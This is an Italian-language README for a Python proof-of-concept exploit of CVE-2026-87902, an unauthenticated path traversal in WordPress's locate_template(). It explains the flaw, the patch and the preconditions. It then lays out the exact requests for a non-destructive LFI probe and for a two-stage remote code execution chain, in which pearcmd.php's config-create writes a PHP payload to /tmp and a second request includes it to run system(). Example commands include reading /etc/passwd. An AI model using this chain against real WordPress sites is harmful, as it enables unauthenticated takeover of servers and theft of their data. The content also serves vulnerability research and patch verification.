
PoC Python che sfrutta CVE-2026-87902, un path traversal non autenticato in locate_template() di WordPress che porta a LFI e RCE basato su PEAR, con modalità di rilevamento sicura.
File dell'exploit: exploit_locate_template_rce.py —
Python 3.6+ (solo stdlib).
Pipeline in un unico comando: rilevamento sicuro (differenziale LFI, senza scrittura) →,
se vulnerabile, RCE tramite gadget pearcmd.php che esegue il comando da te scelto
(--command/-c). Usa --validate-only per fermarti prima della fase di scrittura.
Testa il CVE-2026-87902 su versioni di WordPress
senza il fix del commit 5fde0bb7 — "Themes: Restrict
path traversal in locate_template()" (WordPress 7.1.2, backport fino alla 4.7.37).
| CVE | CVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High) |
| Advisory | GHSA-7hp8-65ch-5whp |
| Affette | WordPress 4.7.0 – 7.1.1 (tutti i branch) |
| Fix | 7.1.2, 7.0.6, 6.9.9 … 4.7.37 |
| Fix commit | 5fde0bb7b9775523959094bf280cc54bfa78af51 (merge del changeset 63792) |
| File | wp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed()) |
| Autenticazione | Nessuna — nessun utente, cookie, nonce o plugin |
| Crediti | Scoperta e disclosure: Robert Ressl |
⚠️ Solo per test autorizzati. Usalo in ambienti che controlli (il lab sottostante è isolato) o con esplicita autorizzazione del proprietario.
Nelle versioni senza il fix, la catena get_page_template() → locate_template() →
template-loader non garantisce mai che il template selezionato rimanga all'interno del tema.
Pre-fix (wp-includes/template.php):
// get_page_template(): decode TARDE, senza validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// locate_template(): testa solo l'esistenza — nessun confinamento del percorso
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
}
Post-fix (commit 5fde0bb7):
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) { // realpath + confinamento
$located = $candidate; // dentro tema/parent/theme-compat
break;
}
pagename e page_id sono query var pubbliche — accettate nel body di un POST anonimo.
Il metodo POST fa sì che redirect_canonical() (canonical.php) ritorni presto — agisce
solo su GET/HEAD, quindi nulla viene reindirizzato.templates%252f%252e%252e%252f...) e sopravvive al
sanitize: WP_Query::get_posts() (l.2191) riscrive il pagename con
sanitize_title_for_query( wp_basename( ... ) ) — wp_basename() non si spezza su %2F
(formatting.php l.5768) e il sanitize preserva gli ottetti %XX (l.2395).page_id (l.2252) sovrascrive il WHERE ("$where =", non ".=") — la pagina reale
viene caricata, senza 404, e il pagename malevolo rimane nell'oggetto di query.get_page_template() esegue urldecode() tardivo e costruisce page-<traversal>.php
senza validate_file().locate_template() pre-patch chiama solo file_exists() → l'include esce dal tema.| # | Precondizione | Motivo |
|---|---|---|
| 1 | Pagina pubblicata, accessibile anonimamente, selezionabile tramite page_id e senza custom template | La richiesta deve risolversi in una Page; un template custom verrebbe prima nella gerarchia |
| 2 | Directory top-level nel tema attivo (child o parent) che inizia con page- (es.: page-templates/) | WP antepone il prefisso fisso page-; è attraverso di esso che entra il traversal. Basta che esista e sia attraversabile (può essere vuota). Presente in Twenty Twelve/Fourteen, Neve, Hestia, Sydney |
| 3 | Target .php locale esistente e leggibile | Il loader appende .php e controlla is_file()/is_readable() |
| 4 | (solo per RCE) pearcmd.php leggibile + register_argc_argv=On + directory scrivibile (es.: /tmp) | Rotta PEAR→RCE: config-create scrive il payload PHP sul server |
Tre POST anonimi contro la pagina pubblicata — senza scrittura su disco:
| Richiesta | pagename | Risposta attesa (vulnerabile) |
|---|---|---|
| A — baseline | — | 200, corpo normale (~23 KB) |
| B — controllo | traversal → file inesistente | 200, corpo normale (fallback page.php) |
| C — probe | traversal → wp-content/index.php ("Silence is golden") | 200 con corpo vuoto |
Firma: C vuoto + A/B normali ⇒ l'include è uscito dal tema ⇒ VULNERABILE.
Il rilevamento scansiona automaticamente: directory di tema candidate
(page-templates, page-template) × profondità 1–12.
Il risultato (theme-dir + depth) alimenta la fase RCE.
Con --validate-only lo script si ferma qui (exit 0 se vulnerabile).
pearcmd.php (scrittura)Fase 1 POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
→ il traversal include /usr/local/lib/php/pearcmd.php
→ argv proviene dalla query string grezza (register_argc_argv=On)
→ config-create SCRIVE il payload in /tmp/wp-pear-rce.php (12 copie serializzate)
Fase 2 POST / body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
→ lo stesso traversal include il file generato → system(<--command>) viene eseguito come www-data
Dettagli del formato (tutti i vincoli sono gestiti dallo script):
page_id + pagename; la query string porta
esclusivamente l'argv di PEAR (?+config-create+<root>+<out>).wp_magic_quotes() (load.php l.1290) applica
add_magic_quotes($_SERVER) e pearcmd legge l'argv da $_SERVER['argv'] — qualsiasi
apice diventerebbe \' e romperebbe il file generato. Ogni stringa PHP diventa concatenazione
chr(): '/tmp' → chr(47).chr(116).chr(109).chr(112).http.client): i byte grezzi +, <, > della query
string sono l'argv — nulla può essere riscritto/ricodificato lungo il percorso.config-create richiede un root path assoluto — il payload viene iniettato come il root
stesso (/<php>), prefissato con il marcatore ___WP_RCE_OK___ che delimita l'output.pearcmd.php (Docker ufficiale, Debian/Ubuntu, XAMPP) — regola con
--pear-path/--output se necessario.Non c'è "upload": il target del rilevamento è un file che ogni WordPress porta di fabbrica
(wp-content/index.php); il payload dell'RCE viene scritto dal server stesso tramite
gadget PEAR, in esecuzione come www-data.
# 1) Solo validare la vulnerabilità (LFI probe, senza scrittura)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only
# 2) Rilevamento + RCE eseguendo un comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"